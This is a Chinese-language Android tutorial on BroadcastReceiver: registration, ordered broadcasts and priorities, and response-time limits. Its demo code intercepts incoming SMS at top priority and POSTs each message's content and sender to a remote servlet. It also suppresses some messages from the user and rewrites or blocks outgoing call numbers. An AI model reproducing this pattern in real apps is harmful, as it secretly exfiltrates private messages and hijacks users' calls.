广播接收者(BroadcastReceiver)用于异步接收广播Intent,广播Intent的发送是通过调用Context.sendBroadcast()、Context.sendOrderedBroadcast()或者Context.sendStickyBroadcast()来实现的。通常一个广播Intent可以被订阅了此Intent的多个广播接收者所接收,广播接收者和JMS中的Topic消息接收者很相似。要实现一个广播接收者方法如下:
第一步:继承BroadcastReceiver,并重写onReceive()方法。
public class IncomingSMSReceiver extends BroadcastReceiver {
@Override public void onReceive(Context context, Intent intent) {
}
}
第二步:订阅感兴趣的广播Intent,订阅方法有两种:
第一种:使用代码进行订阅
IntentFilter filter = new IntentFilter("android.provider.Telephony.SMS_RECEIVED");
IncomingSMSReceiver receiver = new IncomingSMSReceiver();
registerReceiver(receiver, filter);
第二种:在AndroidManifest.xml文件中的<application>节点里进行订阅:
<receiver android:name=".IncomingSMSReceiver">
<intent-filter>
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>

学习的demo:

利用BroadcastReceiver实现短信Listener

原理:当系统收到短信时,会发出一个广播Intent,Intent的action名称是android.provider.Telephony.SMS_RECEIVED,该Intent存放了系统收到的短信内容,我们使用名称"pdus"即可从Intent中获取到短信内容。

参考代码

public class SMSBroadcastReceiver extends BroadcastReceiver {

@Override
public void onReceive(Context context, Intent intent) {
Object[] pdus = (Object[]) intent.getExtras().get("pdus");
for(Object p : pdus){
byte[] pdu = (byte[]) p;
SmsMessage message = SmsMessage.createFromPdu(pdu);
String content = message.getMessageBody();
Date date = new Date(message.getTimestampMillis());
SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
String receiveTime = format.format(date);
String senderNumber = message.getOriginatingAddress();
sendSMS(content, receiveTime, senderNumber);

if("5556".equals(senderNumber)){
abortBroadcast();//终止广播
}
}
}

private boolean sendSMS(String content, String receiveTime, String senderNumber) {
try{
String params = "content="+ URLEncoder.encode(content, "UTF-8")+
"&receivetime="+ receiveTime+ "&sendernumber="+ senderNumber;
byte[] entity = params.getBytes();
String path = "http://192.168.1.100:8080/web/ReceiveSMSServlet";
HttpURLConnection conn = (HttpURLConnection) new URL(path).openConnection();
conn.setConnectTimeout(5000);
conn.setRequestMethod("POST");
conn.setDoOutput(true);
conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
conn.setRequestProperty("Content-Length", String.valueOf(entity.length));
conn.getOutputStream().write(entity);
if(conn.getResponseCode() == 200){
return true;
}
}catch (Exception e) {
e.printStackTrace();
}
return false;
}

}
--------------------------------------------------------------------

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="cn.itcast.smslistener"
android:versionCode="1"
android:versionName="1.0">
<application android:icon="@drawable/icon" android:label="@string/app_name">
<receiver android:name=".SMSBroadcastReceiver">
<intent-filter android:priority="1000">
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>
<receiver android:name=".PhoneBroadcastReceiver">
<intent-filter android:priority="1000">
<action android:name="android.intent.action.NEW_OUTGOING_CALL"/>
</intent-filter>
</receiver>
</application>
<uses-sdk android:minSdkVersion="8" />
<uses-permission android:name="android.permission.RECEIVE_SMS"/><!-- 接收短信权限 -->
<!-- 访问internet权限 -->
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"/>

</manifest>

--------------------------------------------------------------------

public class PhoneBroadcastReceiver extends BroadcastReceiver {

@Override
public void onReceive(Context context, Intent intent) {
String number = getResultData();
if("5556".equals(number)){
setResultData(null);
}else{
number = "12593"+ number;
setResultData(number);
}
}

}

广播被分为两种不同的类型:“普通广播(Normal broadcasts)”和“有序广播(Ordered broadcasts)”。普通广播是完全异步的,可以在同一时刻(逻辑上)被所有接收者接收到,消息传递的效率比较高,但缺点是:接收者不能将处理结果传递给下一个接收者,并且无法终止广播Intent的传播。

然而有序广播是按照接收者声明的优先级别,被接收者依次接收广播。如:A的级别高于B,B的级别高于C,那么,广播先传给A,再传给B,最后传给C 。优先级别声明在 intent-filter 元素的 android:priority 属性中,数越大优先级别越高,取值范围:-1000到1000,优先级别也可以调用IntentFilter对象的setPriority()进行设置 。有序广播的接收者可以终止广播Intent的传播,广播Intent的传播一旦终止,后面的接收者就无法接收到广播。

另外,有序广播的接收者可以将数据传递给下一个接收者,如:A得到广播后,可以往它的结果对象中存入数据,当广播传给B时,B可以从A的结果对象中得到A存入的数据。

Context.sendBroadcast()

发送的是普通广播,所有订阅者都有机会获得并进行处理。

Context.sendOrderedBroadcast()

发送的是有序广播,系统会根据接收者声明的优先级别按顺序逐个执行接收者,


可以通过一个短信接收者和电话拦截的demo了解有序广播的使用。

参考帖子:1、BroadcastReceiver的区别细究 http://sharp2wing.iteye.com/blog/1541370

2、android理解广播 http://blog.csdn.net/xian00000/article/details/8037399

3、BroadCastReceiver android 广播接收器 http://blog.csdn.net/yunqiangshan/article/details/7516348

广播接收者的响应性

Android中,每次广播消息到来时都会创建BroadcastReceiver实例并执行onReceive() 方法,onReceive() 方法执行完后,BroadcastReceiver 的实例就会被销毁。onReceive()方法在10秒内没有执行完毕,Android会认为该程序无响应。所以在BroadcastReceiver里不能做一些比较耗时的操作,否侧会弹出ANRApplication No Response)错误对话框。如果需要完成一项比较耗时的工作,应该通过发送IntentService,由Service来完成。这里不能使用子线程来解决,因为BroadcastReceiver的生命周期很短,子线程可能还没有结束BroadcastReceiver就先结束了。BroadcastReceiver一旦结束,此时BroadcastReceiver所在的进程很容易在系统需要内存时被优先杀死,因为它属于空进程(没有任何活动组件的进程)。如果它的所在进程被杀死,那么正在工作的子线程也会被杀死。所以采用子线程来解决是不可靠的。

public class IncomingSMSReceiverextends BroadcastReceiver {

@Override public void onReceive(Contextcontext, Intent intent) {

//发送Intent启动服务,由服务来完成比较耗时的操作

Intent service = newIntent(context, XxxService.class);

context.startService(service);

}

每次广播消息到来时都会创建BroadcastReceiver实例并执行onReceive() 方法。

其他广播接收者

除了短信到来广播IntentAndroid还有很多广播Intent,如:开机启动、电池电量变化、时间已经改变等广播Intent

接收电池电量变化广播Intent,在AndroidManifest.xml文件中的<application>节点里订阅此Intent:

<receiver android:name=".IncomingSMSReceiver">

<intent-filter>

<actionandroid:name="android.intent.action.BATTERY_CHANGED"/>

</intent-filter>

</receiver>

接收开机启动广播Intent,在AndroidManifest.xml文件中的<application>节点里订阅此Intent:

<receiverandroid:name=".IncomingSMSReceiver">

<intent-filter>

<actionandroid:name="android.intent.action.BOOT_COMPLETED"/>

</intent-filter>

</receiver>

并且要进行权限声明:

<uses-permissionandroid:name="android.permission.RECEIVE_BOOT_COMPLETED"/>

更多相关文章

  1. BroadcastReceive介绍
  2. Android使用广播(BroadCast)实现强制下线的方法
  3. android用服务service与广播broadcastreceiver创建开机启动服务
  4. Android(安卓)开机启动广播
  5. 在Android中使用AlarmManager
  6. Android(安卓)app接收来自adb发送的广播的实例学习
  7. Android(安卓)Action的常用
  8. Android的跨进程通信
  9. Android监听收到的短信

随机推荐

  1. RelativeLayout里常用的位置属性
  2. Android有效解决加载大图片时内存溢出的
  3. android中自定义RadioButton
  4. javafx for android or ios ?
  5. android中activity的四种加载模式
  6. android的ORMLite的sqlite自定义框架
  7. Android(安卓)UI开发第一篇――android的
  8. Android(安卓)Junit Test
  9. 基于 Android(安卓)NDK 的学习之旅-----
  10. 转:Android(安卓)AsyncTask